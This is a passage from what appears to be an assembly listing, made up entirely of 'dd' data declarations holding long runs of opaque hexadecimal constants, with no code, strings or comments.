921AEB0h, 4623AC1Eh, 9BC3000h, 0CC11F57h dd 16396628h, 0D404F900h, 0F60E157Ch, 6263996Dh, 74F18951h dd 315E0920h, 5BE9B5C0h, 3894899Fh, 0FC51552Ch, 3AD1584Eh dd 58688498h, 38E33C56h, 0CC6C409h, 7BD24A57h, 3C020B0Ch dd 0D1E9345Dh, 0A655F916h, 0B32AC5Ch, 6930D920h, 2293E368h dd 0E1A4E90Bh, 6F4C1DCh, 0CFE8E681h, 5EC52B84h, 0F3455769h dd 0D4881C46h, 1908E796h, 8D42A74Dh, 59668774h, 0EAE29A1Eh dd 2DB95A9Fh, 532DF423h, 0E22C5881h, 805E1392h, 49A66801h dd 0B02ED3A6h, 5184BCBh, 585BDD15h, 6C011859h, 297EAA5Fh dd 7A131CDh, 31BFF008h, 0E81792B6h, 841EF01h, 0E712E953h dd 4988647Ah, 0F6C68705h, 0A0508220h, 3D09F8F1h, 3990CB9h dd 785D1636h, 0F0E77F7Bh, 0EF690BBDh, 8711822Ah, 615C6163h dd 165FB1ACh, 0CB3E1E31h, 1248B915h, 5B81CE58h, 8DD25F38h dd 0E94D349Dh, 2FAA8455h, 5C4F9528h, 0CDD61B11h, 8B9C7277h dd 5A02A152h, 0C2C9D031h dd 0F6E90885h, 95FB9BDh, 0F88B840Fh, 0B87B157h, 0AB964754h dd 8DF7CD50h, 82452849h, 0EE3F2168h, 6BE92728h, 2B5B2262h dd 7731B0A5h, 0D8B68037h, 1AF43025h, 25DAF103h, 0C01039E5h dd 7F620FC9h, 5C58EB14h, 32C1002Dh, 0DBF71F96h, 335149E9h dd 354B0527h, 164EA4A8h, 0F8010217h, 2D724108h, 31B58D27h dd 0CD2FED80h, 67AE30F5h, 0C0313541h, 6C241CDDh, 3E114C1h dd 5A04D641h, 0AE222761h, 0C72E7846h, 0CA5C5AA2h, 65485AF8h dd 630B1FB6h, 24B7F708h, 83C71D6Ch, 106D072h, 13BBC4B4h dd 0F4C3E008h, 0B3425E9Eh, 0EF99E11Ah, 0F192863Ch, 34C5ED1Fh dd 970FBA18h, 0A908EBC9h, 458F51C2h, 7F06B8D1h, 27F11D5h dd 89BBBD55h, 0FCE16366h, 2A5F9B8h, 271688CBh, 0E654D962h dd 259F0820h, 0BD7DE1Fh, 0AE38656h, 56B6685Fh, 42529E7Fh dd 53EA5D45h, 6E8FA440h, 0FECB4695h, 970E5688h, 160BDA2Dh dd 805A1438h, 6637EF01h, 0DB08E950h, 16D9892Ch, 0CC1309Ch dd 529E7991h, 0DEFBF25Ah, 72A8588Ah, 99C7EDC1h, 76609C6Eh dd 72D1DF7h, 0FA01C9E8h, 0C1B304h, 5B6B8B05h, 3880BF11h dd 155CF46h, 1F95E3FFh, 0E0FB5608h, 0A100BB41h, 816DBA39h dd 2D0A5FEBh, 6D9136D1h, 49827829h, 138191D9h, 0A8A7167Dh dd 9341FA7Bh, 71312D8Ch, 0A64AC7FAh, 0BF83EF98h, 4BC6DDA0h dd 9179776h, 1801DEF7h, 0F45D0773h, 8090047Ah, 24E1B2DDh dd 52F2F952h, 0D5B6B5A9h, 4761E916h, 7F65858Ch, 0F7570213h dd 12D40D0h, 68A51582h, 0CFAA1857h, 2F55810Ah, 0FBA9816Dh dd 57142D24h, 54403D98h, 87D714F7h, 0A601A8FDh, 0D1420B1Fh dd 602731E3h, 0A47F54B9h, 5131652Ch, 0EEE5833Ch, 0F814AF42h dd 4C4082F5h, 0EF3115A7h, 2D02C782h, 124D4C04h, 3888B96Fh dd 0BC78F256h, 47121Fh, 0AF0A8D2Dh, 4D9821D7h, 4C5B24Eh dd 8058FF0Bh, 0DC3D6163h, 4B6C9069h, 0F13B909Dh, 0CC1216C0h dd 0BB804943h, 583FC4C1h, 0E42F2C26h, 0B7B48300h, 85F2DCF6h dd 0F8CA6C5Fh, 0F2795917h, 0FD7100C9h, 0F1E7812Ah, 8A1A5C6Eh dd 3727EF01h, 3A05EAAAh, 0A2441852h, 0BD030CA9h, 30FA646Ch dd 57680260h, 0C3F6230h, 255E96AFh, 0CE2CE9B2h, 581FF850h dd 294B1526h, 5165F7h, 0FB6D85BAh, 0D74E2949h, 558BD981h dd 8D3C1DC1h, 57E9C3A0h, 4A9AB551h, 0E8011332h, 0D0DA860Bh dd 615AA57Dh, 6202C3E9h, 0CDF37E0Dh, 83E342D0h, 0F4C95D0h dd 0D2E12E1h, 0F8582562h, 625F4F5Bh, 0B25BDF89h, 8E09BE23h dd 4075B247h, 8178F40Eh, 895EDC56h, 362EF37Ah, 0DC8B9F06h dd 52E39837h, 47B00250h, 0C2282BB2h, 2C6010C1h, 0F4815F09h dd 54024225h, 309CAD70h, 0BA53E3AFh, 0BA5200B4h, 9526412Fh dd 1C32FF29h, 1A0A5D1Ah, 57015EF4h, 0EC2CFF68h, 1A2A5F0Ch dd 6550FF3h, 63B033CCh, 64E90631h, 52518903h, 10CE8959h dd 7E8F59Eh, 4558C509h, 7665C693h, 0AA2C066h, 29DB59EBh dd 964BD57Eh, 0C9BD2DC5h, 252EC5C5h, 882656DFh, 5B404001h dd 78C4CB1h, 0CA1B68B1h, 0B6174346h, 562488D0h, 9E41AD16h dd 5966CB28h, 3F64B747h, 0B9F07B2h, 665A46FFh, 0D5E75590h dd 3410D7EBh, 0B800167Fh, 69C41BDBh, 0EC3F312Dh, 0C38996C9h dd 0E3F33100h, 0C10D3E10h, 0A0E7D10Ch, 41902856h, 90607EB5h dd 50624359h, 0B2E4DB4Eh, 0B3CE20B8h, 0C00E18E6h, 6F8006E3h dd 57DCA45Fh, 24D91196h, 629EC05Eh, 5D200168h, 37E9E821h dd 0D220B63Eh, 3C900687h, 0E93C827Ch, 0C9FD27B4h, 0E6ABA1Eh dd 0AB745707h, 0EF835F01h, 0C9F73101h, 0DF08A0FEh, 0E2416140h dd 0A2AAB849h, 0D7F9008Eh, 24213FFFh, 29759CFh, 0BD7FE6ECh dd 0C888D5FCh, 0DB680563h, 0C1F996Fh, 1F41AABFh, 544C9820h dd 884589E6h, 6C00C5B8h, 0DC254642h, 138A94Bh, 0CA2E9305h dd 2E2DE91Dh, 66F066D0h, 49FE2E68h, 35B24023h, 84B92E9h dd 0E2D181D0h, 9997B852h, 26608857h, 81DAF700h, 25A517F2h dd 6E40BCE7h, 6002DB2Dh, 0C8291668h, 59078105h, 0DF0D801h dd 62EB9648h, 0BB0031FBh, 5E204EE0h, 184C22Fh, 0C5C62B55h dd 6216A708h, 0BAD4D52Fh, 62165D20h, 5B5EBB07h, 0E3E744E7h dd 217A3DA0h, 0D46904Bh, 5B06AEFh, 900D2BACh, 8C2F7587h dd 9020E953h, 0D2F7174Bh, 54372792h, 555B00EDh, 0E5BC6850h dd 0E6F70CF9h, 3C3A9685h, 0A2011116h, 0A5F302B3h, 82386203h dd 5C1B5EAh, 4CE0AD2Dh, 80DE27AAh, 0B685D47h, 4F19946Dh dd 0BFF0709h, 4F5BE83Ch, 325F813Ah, 91FDD2CCh, 134CDE10h dd 0D6E35D54h, 2AC808D3h, 89781127h, 0B0625102h, 0D92C145Ah dd 752AD25Bh, 0C95A497Eh, 0E780FB03h, 0FC063B53h, 0FE25C706h dd 8B1710CFh, 0E94451E9h, 21C1F328h, 446E5A50h, 0E1DC76Dh dd 488AC55Eh, 0EC982DA2h, 470484B9h, 6E90F54h, 0B65ED6B0h dd 6C7E4253h, 53C15A04h, 0BBE85266h, 6C279DE1h, 0C80B8205h dd 0E2300169h, 0CD82F279h, 82038708h, 1DAE4CBh, 0CC555F66h dd 5D7761BDh, 99B84579h, 0A10A730h, 0B709FBC5h, 5CC0CD12h dd 0BD2E4361h, 38BF6458h, 967E859Ah, 0E81CA01h, 7E3CB752h dd 7916AFD0h, 93D4675Ah, 267CB154h, 7459D1FFh, 5D05814Eh dd 7B681530h, 0E1F2DA97h, 17285120h, 6C134921h, 0C831E0E0h dd 0BEDD1497h, 79350BEFh, 13B555B0h, 87741E2Eh, 0DDD81913h dd 8A5A5A54h, 0DE8C4AE7h, 16EE5BE9h, 0D0B7E6EBh, 18792DD4h dd 168468D1h, 0F50B10Bh, 67560129h, 65B2F27Ah, 1A60CC23h dd 6AB0C50Bh, 895807FCh, 8DE916F9h, 0BC055DEEh, 0C38BDD1h dd 0D2989DEh, 3A898151h, 68A4E844h, 7391254Eh, 9B20D478h dd 0E7584AD6h, 0E72D5A3Dh, 2D00F56Dh, 20433BEDh, 947BBE56h dd 0E96A5909h, 0FE26A13Ch, 2CE180C1h, 0BE20C8C1h, 0E1D1804Eh dd 12261B90h, 291A3C8Eh, 8AC4C0BCh, 0CC80A35Bh, 43E999C1h dd 0FD848257h, 65E447C2h, 0C1ED3088h, 49008E8h, 526B6814h dd 6256D6BDh, 0D3F76861h, 9220CA3Ah, 1110CDF2h, 0BBE0074h dd 81473C06h, 76E401E6h, 0F2E96220h, 4D616B12h, 4D814211h dd 0C68059EEh, 262F308Ah, 90F30180h, 0A3EB4ABFh, 3AE77919h dd 0EFD7A134h, 0C901E535h, 66D85F80h, 0B9C7C03Ah, 645A7673h dd 6B027C53h, 0FEF34B12h, 114F991h, 80053419h, 32B05FCh dd 0A4A48h, 25A64F3Bh, 2FE9FB01h, 0D0696ED9h, 0D50D61C4h dd 0E341D6EFh, 0D69328F8h, 524F9B01h, 6306FB2h, 0DD199DCFh dd 0F25C125Dh, 45229D9Eh, 0F00FD15h, 0A8CA6784h, 454EEEEh dd 0E901AA4Fh, 0BAF8B0A6h, 506CE70Fh, 0C21D4903h, 0C843F126h dd 0A1D12AA4h, 8BAE4D20h, 0D126880Ah, 0DF24591Dh, 0BAEF6800h dd 0B0C2897Bh, 90F200ADh, 0C147936Ah, 54B002E2h, 452B8E2Fh dd 52A608C1h, 87D9F609h, 0BFA508EFh, 975F23B0h, 56153847h dd 0E4EEC95Ah, 91879489h, 2E2A6002h, 0D07E4C66h, 8418E52h dd 95E95F8Eh, 0E0BBB852h, 96D3015Dh, 0C68850D7h, 50B95138h dd 902C133h, 127F418h, 1CD42D9h, 59318808h, 3AC1D031h dd 6644F1B3h, 0ECF280D0h, 556156FAh, 719F351Ah, 0D8F7A1CBh dd 203C920h, 9AD1505h, 68F429E2h, 1C2A7308h, 0A6115568h dd 0A9488725h, 252C66F7h, 0BB087F1Dh, 27127C6h, 0BE36E9E3h dd 2C10123h, 5A5FC34Ah, 0A962E29h, 0F8683570h, 25B4A624h dd 0C57B0B89h, 5B4B2884h, 83B2756Eh, 772745F3h, 0BBCC8B40h dd 239C0464h, 0B91D2C0Fh dd 3C08412Ah, 7EA9A4E3h, 0D9F5465Ah, 9B51825h, 7F86001Eh dd 2672C250h, 62555C29h, 0FB68D5E9h, 0B005DBBDh, 0EA29CF65h dd 6ADAF719h, 4AC2B048h, 2512306Bh, 6D4AF921h, 5A68470Fh dd 51A98411h, 7E16FC54h, 0D9F2A4CBh, 0B850EEA8h, 61329400h dd 0B7792D3Bh, 0E9E1160Eh, 5B2940AAh, 0BFB35351h, 0E52E7BB8h dd 0E906A188h, 218F575Eh, 15BC3D97h, 35A84075h, 36F1255Dh dd 9DBC8BE0h, 3A5E5C91h, 0E2BD9564h, 200FE9C2h, 6EEEAED2h dd 7C61A13Bh, 0DBE31425h, 5850A7B4h, 4C90230Bh, 355B0753h dd 5D2ACF72h, 0C5C8708Bh, 4A00EDC3h, 0D9314D72h, 0A80F6FE9h dd 1628CFF2h, 0E02B2108h, 185817C9h, 0F801062Ch, 40F4515Fh dd 0DEFE4661h, 10B22FF0h, 7B89BF07h, 2DA27A80h, 810D000Eh dd 9BB0A669h, 291CEB30h, 9F01E23h, 1C78308h, 7BE9C860h dd 0D7791058h, 0ACCEE9A2h, 0FA011630h, 31A70B00h, 975F1A67h dd 5490F9E6h, 8EC9C54Ah, 64893A29h, 874E0620h, 0D548F7EEh dd 70CB4BF0h, 0A7842024h, 9CFA154Eh, 0B900AE9Eh, 0FF64C71h dd 5BF10781h, 6043CD09h, 846F7BE1h, 440C3D60h, 4A4DCB1Bh dd 6BC1A251h, 0D30A200Bh, 176A8572h, 0C062E94Bh, 5E5C114h dd 0F2C89BBFh, 16EA745Bh, 75800766h, 0EF31501Dh, 89F4505Dh dd 0C106F865h, 5F4ABBA9h, 47539F26h, 6527E8BBh, 69F80421h dd 8C00133Ch, 5DFB6C2h, 41FB9885h, 0E0603A16h, 5BB36857h dd 0E9628851h, 4713AF4Bh, 34BEE434h, 4DC80303h, 19DDE26h dd 7B3BC58Eh, 8C0C8252h, 781FA51Dh, 5CCC7B4h, 0E941D146h dd 0C2287Fh, 0C480CCFEh, 0F5E4C08Eh, 3D96F4D8h, 0EC80DCF6h dd 0E9E3286Ch, 3FB43142h, 2A93BA60h, 81610165h, 0E779CFEAh dd 32D2020h, 0C377C49Dh, 36076808h, 0E1D5A5C4h, 0E68000CCh dd 0EEC017EDh, 81750608h, 0D11318BFh, 400539EAh, 3A5C497Ch dd 8153EBC6h, 3CF70BF4h, 50857363h, 5B070BF2h, 5D3F6510h dd 60A33AD3h, 0DE885207h, 54F64366h, 0CB8481DCh, 34520764h dd 0A80853ABh, 0CA1D20FDh, 5BFA2850h, 0F43629B7h, 0EE28266Ah dd 0C9B202C9h, 0ED4213FEh, 7EB91A61h, 0BBC62463h, 2D3D1576h dd 762D64h, 3BC18065h, 59CF3828h, 4E5BFA1Eh, 0D70638C2h dd 0B3A1945Ah, 3D672EFDh, 43986995h, 0F3174B83h, 0A1207997h dd 875B5F5Ch, 370E92FFh, 5E130DD1h, 10BF010Bh, 58080D9Ah dd 0F32C0CE0h, 4B08204Eh, 4868CA5Eh, 9AE22AE5h, 79EFD058h dd 4A20DF2Dh, 80ACC033h, 0DC6881C6h, 4D4CB722h, 0CC102FD6h dd 740FA2D4h, 44C66231h, 400EB075h, 31090158h, 0D8215FFBh dd 0E16705Bh, 3E08DF94h, 6270CE1Ch, 0A063A05Dh, 2255E7DBh dd 19F9089h, 1D38D1C7h, 7A52E940h, 97326F58h, 70A90522h dd 4535F968h, 641B1FDDh, 330292ACh, 0D35C37B0h, 5E1C6BF3h dd 5700AA10h, 2F22DEBFh, 0FD2F3150h, 428AE85Fh, 90A776DCh dd 58F99078h, 93809B67h, 3541BD4Dh, 927DEF0Eh, 331CA05Ah dd 4FE96976h, 868D018Fh, 38D3F6D8h, 4DCE15E8h, 590509ABh dd 5160294Fh, 480B49B8h, 0D5E12FC8h, 42BC0D1Eh, 0B65272D6h dd 8334F7B7h, 0F3EDB80Ch, 664EEA68h, 5B51795Ah, 0FA84C438h dd 0B92C762Dh, 8968F9A5h, 9918CEE9h, 588C02FEh, 11E05072h dd 0D194B58Eh, 0DA595E4Fh, 2D7B5ED5h, 104A238Dh, 0A648A935h dd 216ABA05h, 4F18800Dh, 0C003B6Bh, 5C4EE381h, 5BE91964h dd 0D82C1302h, 0E7810C7Eh, 2F503974h, 2C65854h, 0FD20E898h dd 0AFAC5C0Ch, 0B6316420h, 53BE1C4Ch, 0EAC25702h, 0EDBAA1A3h dd 2AF21491h, 0C22960C1h, 0E66806FDh, 7011BB2Fh, 25413C53h dd 502E515Dh, 91B42EBBh, 66763462h, 7CB705B4h, 0A442EF80h dd 10C27F47h, 71F988BAh, 0C9C14F72h, 68C5E966h, 0CBB80158h dd 520FAA31h, 0BE64883Bh, 0A53D4878h, 1D62D11h, 393D685Fh dd 0C1D5C1BFh, 1221353Fh, 3D4B544Ah, 0ABE0E5B7h, 3980F941h dd 0C12A791Dh, 36C3980Dh, 54551E88h, 2E13DBCCh, 20385FBAh dd 846DCD66h, 0F6E90313h, 0EBDB2C5h, 0C3805C01h, 3ED828BCh dd 800D982Dh, 54D2DE01h, 80012A42h, 3628EA30h, 0C0B6023h dd 21161F31h, 0C4D2F72Dh, 2032D668h, 36DC683Ch, 2C97EE9Dh dd 4798D1A0h, 0EE013986h, 54734568h, 0DC19C315h, 78C74525h dd 0CE2BFBB8h, 11775049h, 3FF89DA8h, 9B796B28h, 0D8AE534Dh dd 93F821C9h, 17162674h, 8D8F5362h, 1286135h, 302C7765h dd 3AB4A7E8h, 0B3A98FE9h, 0BE2CBD40h, 4A7B685Ah, 0B46C987Ch dd 0E6882F02h, 0D027E958h, 0F67ED2F5h, 0E9076385h, 59693B57h dd 3E07B72Dh, 8555B5ADh, 1567A119h, 0D400E986h, 630A1286h dd 4FF326CCh, 4889B353h, 262A554h, 0EBCA13C3h, 0E94209D6h dd 5685A759h, 0C4254C66h, 0E9555418h, 94285ACh, 0E39EEDDh dd 0DC626C8Bh, 0EB050358h, 735020E4h, 0B9128E05h, 3EE9090h dd 49BFB84Eh, 222503AEh, 0B68FCF71h, 3305E475h, 0C44DD0EDh dd 5F642C6Bh, 64222D04h, 0A5820FF5h, 0F9078905h, 2232683h dd 58E96F3Ch, 88A5A7D0h, 7D17E1A8h, 230A0A60h, 549DC975h dd 10575BE5h, 0A182E4EEh, 59AC540Eh, 2207CFEh, 5A52A02Dh dd 399541Ch, 505BDD01h, 0F3C5FE20h, 3E5A393Ah, 0B280ED8Ch dd 0F50126DEh, 978C2E93h, 9E02D35Eh, 0F8094F27h, 0FBF1014Ah dd 89787E69h, 5CE630C8h, 3BD5580h, 539540C7h, 0E4BFDDB9h dd 6545BA7Dh, 38A9F5ACh, 9524A8D3h, 75D8143Ah, 56B2C2D6h dd 831261B3h, 342B6D25h, 0AC25802Bh, 0D0B8D06h, 57DA01h dd 22181E5Ah, 21BDD62Ah, 3F1ABBC4h, 0DEE2E8D4h, 658B0692h dd 849A9FF4h, 2CC21C5Ah, 88D5FC5Fh, 0B90FB271h, 73DF456Bh dd 504F8503h, 0D609C28Fh, 0B5C10850h, 80DDF601h, 0EAC1FCEDh dd 0C92E30F5h, 0F2FE41CFh, 5F040567h, 61D82AEAh, 0D18495A0h dd 68948243h, 0CDE5206h, 56061872h, 0DC5707Ah, 57E8CA89h dd 6447ACD2h, 0BD0058F4h, 2DCC38CFh, 2448B1F4h, 78D4B234h dd 0E0C1187Eh, 3D919E08h, 5F30AC80h, 68A828D8h, 207F3124h dd 110EF489h, 0F6FC8A2Bh, 0AD2B851h, 746E4CC6h, 31FD02D4h dd 0DBC31377h, 58082840h, 8A0FA195h, 802A622Fh, 63374D41h dd 0CB283A7Ch, 4B0CC0B7h, 6943B2E9h, 766902C7h, 0D7F73FF3h dd 680B76FCh, 0E9B4B0ECh, 9DC895A5h, 0B1270F3Ch, 20F65139h dd 5D051E92h, 0B93B9264h, 76FBA4DEh, 544D1A36h, 0CFCC94BEh dd 417D8A68h, 3C7913BCh, 78B8A960h, 5B6327D1h, 874AA948h dd 899C2E10h, 2CE80112h, 672068D7h, 1DE9254Bh, 0A99718Bh dd 504BF168h, 14EABD3Ch, 0A605D228h, 0A3184309h, 73DAD004h dd 0EDD100F7h, 79A9F581h, 0E9EC7F47h, 914240Ch, 18B60C57h dd 64530B5Ah, 2A1F3DC5h, 19270152h, 8E42BEB5h, 72007579h dd 61535BE1h, 5EF1291Ah, 4221238h, 59A45D2Eh, 0D1015F66h dd 1A3FD61h, 0D9C9CE88h, 0F8805BF8h, 5B21FD8Ah, 0E4C5EF81h dd 304FAE46h, 45972C26h, 0E2141639h, 68580493h, 0FDB22165h dd 15D2078h, 544A43FAh, 0FE14BF3Dh, 0A5E565FFh, 72E2207Ch dd 263BD8B9h, 46F2119h, 0C4B830B6h, 0F553B2C0h, 4C62BA3Dh dd 89C2310Bh, 0EE7C6C50h, 85C28220h, 8AE2185Fh, 0D32880E7h dd 68BEE992h, 51A3628Bh, 0E879CB38h, 3B31506Dh, 88770843h dd 58C145B1h, 0EB0257E3h, 2F7F0C83h, 2CD4D1C1h, 2EF44B9Dh dd 82BA9143h, 1C6142C5h, 8C0B9354h, 98E7FA07h, 0DE2DB561h dd 0EA4C6A0Ch, 408A5450h dd 0E239C0CFh, 8EA8A04h, 0C8358680h, 0EEE6F388h, 0EF37A0E0h dd 8310994h, 26804707h, 1FDF354Ch, 4005198h, 643C9F2Dh dd 27C72198h, 728399E9h, 0B7FB752Ch, 0F1D9D393h, 0A0643CA2h dd 0B2A56850h, 4FE92E9Bh, 7FB7801Ch, 0FE2881B6h, 6ECF5B4Ch dd 0EB896753h, 4BC7FE69h, 97D51E05h, 221681BFh, 5D8DE473h dd 924A713Fh, 0BBF44DE5h, 1F809DC5h, 8A24A20Ch, 3EB12C5Ch dd 1C0AFC2h, 21CA8095h, 86058A40h, 0DFF634FAh, 0F159B008h dd 0BF26F362h, 0D426C041h, 0F3E4B501h, 0BABEB5B2h, 1BCAE941h dd 0E42CF979h, 0C3A1850h, 6E0713D2h, 6EFC163h, 57B0CFF0h dd 0A8774871h, 9655B10h, 5158C101h, 21319297h, 13A22AD3h dd 0C9DD93F3h, 7B73C5A1h, 94EA64Fh, 0AB4DE9F7h, 695554B5h dd 5127D6DCh, 556F4CE3h, 2D2FAEA1h, 290D12FDh, 990CB3E3h dd 0EEC06A04h, 72FAAC01h, 2692E9F2h, 57CB2428h, 5FD02476h dd 7C862068h, 42C3E912h, 72936589h, 0EBF4D0BAh, 8A264C77h dd 0D818AE12h, 905DED17h, 82305AAAh, 884C5F5h, 6C28FB5Ah dd 0EDD2FE9h, 20091265h, 0C2767C55h, 0C0C3B83h, 6EA16975h dd 0AB0A17E0h, 1D85069Ch, 0D30AE37Ah, 6913F7E7h, 0F2B4C4A8h dd 1A09443h, 519943C4h, 0B96C0BFh, 900FFC31h, 0DBE9825Eh dd 0F5A87FE3h, 0AA7A25B6h, 0B6BC0CD2h, 0C2D1259Fh, 0BA7C1A82h dd 0A84CF444h, 90205F71h, 9E047836h, 4165258h, 21BC127Ch dd 0E2B217EBh, 0AA05806Dh, 9F03E910h, 832FBA14h, 61D8EAEAh dd 7074341Dh, 0C42517B0h, 5B6C800Ch, 813E456Ah, 4F5A8EC3h dd 65E3C012h, 9017A454h, 8EDEDC2Ch, 8E551ADh, 305AB413h dd 0BD16C87Bh, 961CDF09h, 0B38F3FDh, 0AEA426D4h, 0E9FEA12Dh dd 5D7BF3F5h, 2A7BCCDBh, 480CE747h, 0C37AF14h, 5A78109Dh dd 6B4A0525h, 71F04C71h, 0BBFC3C83h, 0F2ECE98Ah, 0BE38925h dd 98BC87F9h, 0BA20A878h, 0FA20124Fh, 0B4DA167Ah, 5048E180h dd 0B747CC5Dh, 73397CCFh, 0CD60B7B9h, 4A9E59E9h, 264B2016h dd 332961ADh, 68820528h, 59E61514h, 2545C69Fh, 0C462FFE9h dd 60048F75h, 17F6855h, 3092C477h, 975B0FBEh, 0CB2098B8h dd 3465454Ch, 0D5E87F83h, 0C4BD55A1h, 43483101h, 582B01B1h dd 0D5F709E8h, 37B487Dh, 981D8E25h, 2889E931h, 0C29D2BE7h dd 4E718F2Eh, 0B32E01CBh, 6669601h, 0B68A035h, 0DB3ADA25h dd 0F71830A1h, 0E9157D19h, 93BA416h, 16545758h, 0A1555E60h dd 80D3FDB6h, 2B85CE3Eh, 72F731D4h, 0E6D648DEh, 0F4063400h dd 32EEE967h, 163129BAh, 5E33A123h, 98D3FD69h, 3C4BF831h dd 4C09DA56h, 202EC2D3h, 2167EFFFh, 4D6A7D3Bh, 0B0582E48h dd 7A7DE05Bh, 0C203F41h, 14650643h, 0B47BD36h, 0E5A6314Fh dd 0A6EE0113h, 0AF081880h, 62C15A6Ch, 5F9B12E2h, 14EB225Dh dd 489D5CEFh, 5A6858BFh, 0E7E988FBh, 0D9EB8132h, 3171F328h dd 300A6440h, 5227D877h, 0B698A241h, 0CA92DFCAh, 57E3285Fh dd 2787F24Bh, 1A51DAF1h, 0D3FA9D19h, 0C367C8D6h, 2230BF9Eh dd 0C697343Ch, 0E52F61E4h, 0E1A6B252h, 6D402E9Eh, 0BD9147EFh dd 0C3895868h, 843CC74Bh, 0B1C91EECh, 9C64676h, 36741B87h dd 7C87D28Eh, 4F80090Dh, 284C94F5h, 0D5682F0Bh, 201BE63Ch dd 0F4D2B522h, 2F5B9718h, 983FEC50h, 19920AFh, 5995F5A0h dd 672EDB26h, 125D6B08h, 968CAC5Ch, 171BB6F9h, 0D60BF7D0h dd 1D788D8h, 5BF92833h, 0B7EB43CEh, 2638FEC9h, 9CD13CBEh dd 5A7E4664h, 0E5E6933Eh, 96C6C4C2h, 0CD111E1Eh, 61F1C2E7h dd 0B152A2A5h, 62347AB9h, 0F30FCE50h, 6805B371h, 6AE8313Eh dd 39C886C6h, 0DAA569B9h, 0CA292CA8h, 4EDC10C8h, 911035A3h dd 9BE3B60h, 9376C2Ch, 6F76598Dh, 9674E98Bh, 0A76F515Ah dd 0D6F2D746h, 0F1215A14h, 6DE52636h, 0A31AD7A6h, 4F06D9B1h dd 905057CBh, 76BF8980h, 18E37112h, 3292D11Fh, 0C300935Ch dd 2C0FB050h, 5E8AF806h, 0E5C8CD08h, 30F65F0h, 0DBE86ABh dd 6045BF02h, 543141CCh, 4142125Bh, 47850F1Ah, 0ECB62449h dd 9EC55244h, 0E2D109A1h, 545A5454h, 0E0A944F9h, 0EB01D127h dd 5049F381h, 0E320308Bh, 9DB31339h, 5BD6FC9Bh, 0E4078081h dd 57358C6Fh, 25F24CBFh, 0EEF94727h, 19AAA56Fh, 0EDF6F240h dd 5C0E9F3Bh, 0EA052E46h, 0D54CBF3Dh, 9F5CF913h, 690E716h dd 64FA5DD6h, 9CD74C3Dh, 19E458F9h, 3E886194h, 0BC630E5h dd 4448516Eh, 55D3055Eh, 0B004683Dh, 891FD235h, 0B38565B5h dd 0EF92343Ah, 85ED582Ch, 5CE5B88h, 0A80F0268h, 231EC142h dd 0E6306C36h, 0D9F70E01h, 2EC38141h, 0AEEC4698h, 89017213h dd 19E84F38h, 60F9A930h, 0B3F7BBC2h, 28BA8514h, 965CE209h dd 7D570078h, 0F8555A2Bh, 20EA03F2h, 0D7310D01h, 24E457D2h dd 225C6D2Fh, 205FA7D3h, 730BD9C7h, 140C5D60h, 5A999CD6h dd 0E844657h, 0B8007EA5h, 55ED7A32h, 0B002E8C1h, 9D230273h dd 63E99122h, 295AC4F8h, 0F8C12282h, 0E2201257h, 2E710558h dd 30CEBC08h, 5BB92D6Fh, 70FD2846h, 4E820E82h, 89AB4A08h dd 23ACB570h, 5331B00Fh, 0E997A252h, 773E6BF6h, 1BBC255Ah dd 1CC91AF2h, 529F5C17h, 4DBD3D50h, 5F20289Dh, 63D49C9h dd 80C9FF5Ch, 0EF1DE395h, 0D0F72D15h, 350388D0h, 421C4384h dd 9821CD01h, 5F00CAD2h, 0DD05C981h, 495C8C2Eh, 0E1C1FA43h dd 8063002h, 0BFEBFCF6h, 0AFC3305Fh, 411FDC82h, 9322D7C2h dd 2E03ED37h, 79BD1103h, 4002E22Ch, 0B236D42h, 0C8E9193Fh dd 91B84CA7h, 0E8143456h, 5F9E0C38h, 0E63A04C9h, 0F0129A10h dd 8292A248h, 0ED595451h, 35C8273Bh, 0E39102BFh, 79A58B9Eh dd 0CDF6C99Eh, 62AC7969h, 6C6B520h, 0E0275579h, 783A683Eh dd 6DEB4C2Eh, 0F419F27h, 60313164h, 0D22568CAh, 245A6469h dd 0C2FE9ADBh, 0FC441158h, 2D1DCD60h, 75672EDAh, 383A0162h dd 0C8013F5Ah, 5A074705h, 0BE90B11h, 0E00042ABh, 561A1B1Ch dd 0F4014C98h, 0E94C6E1Eh, 0C99A0E29h, 325C639Ch, 4EEFE08Bh dd 17DCB1D2h, 5E36B036h, 0CAD7012Dh, 0FF22D563h, 5AD17382h dd 2C03FC88h, 836715F1h, 0A0C15C1Bh, 28201BF9h, 0FC8A92D6h dd 28CE6802h, 0A3827239h, 0B408301Bh, 1F804416h, 16D38859h dd 425C045Ah, 4D7A68FDh, 15A0B261h, 80F61680h, 0FC19BAF2h dd 0F7105DEDh, 0E168057Eh, 0AC4E0A4Ah, 1B7C04F2h, 44C078C7h dd 616B6421h, 36CB1818h, 0A7C9E64Bh, 0ADE17456h, 37E56311h dd 923AE985h, 1BFF5340h, 705EE25Bh, 0A05948D8h, 0D6B00728h dd 0C91CB2A4h, 3934192Dh, 5814064h, 0C55F45CAh, 0A419C534h dd 3002F523h, 8965AD7Ch, 0C68940EEh, 0B9281621h, 0B44D037Eh dd 0FBA73213h, 1203460Ah, 6F4E0B8Fh, 8A0DD76h, 0B28BE913h dd 5C89DBB8h, 5F88C6F4h, 0B029175Ah, 0D6419AF3h, 2CF01689h dd 0CC086676h, 4BE0314h, 5E8E1923h, 5A713F27h, 45D30B28h dd 8C291731h, 7554A983h, 0B9511890h, 0CF1B3E02h, 6BD1F709h dd 0C04E09A9h, 1A0403EDh, 90F981Dh, 10B21B4Fh, 92C1BD92h dd 0A1A4A90Bh, 58C13141h, 1FB8F1FCh, 8B674D55h, 35A23592h dd 7C513A3Eh, 0B20D3C82h, 555BE27Fh, 0AF2D7F04h, 0D438442Dh dd 0AC55A0B5h, 1E58BCB8h, 8E6F3FD3h, 0D8C17E9Ah, 9746ABCCh dd 401282B3h, 97B1B6B4h, 2FE9CEC0h, 0C8DBC1B8h, 0F206E6A4h dd 209C093Eh, 16B7B47Bh, 0A3544A74h, 64E912F2h, 168AF457h dd 94650A4Ch, 8564FD3Ch dd 0CC005D54h, 7A281AA3h, 0FB059E9h, 0A200C15Eh, 0BA6D803Fh dd 3BFB6FEAh, 0B2D64E09h, 97C6C709h, 1CEB0B0h, 1D949FF2h dd 0DCCCC2F6h, 20E2685h, 3F5F6856h, 10D57176h, 13FDBF7Dh dd 0B155DD12h, 0C7CAF715h, 2CD09290h, 1137726h, 19FE700Ch dd 10DA0FC1h, 666564DFh, 7CAF8B30h, 84024F4Ah, 765DEB29h dd 0D30C69FAh, 7FED5209h, 18F441Eh, 0C8BFFD54h, 97FB167Ch dd 58C84D22h, 0E65E4BB5h, 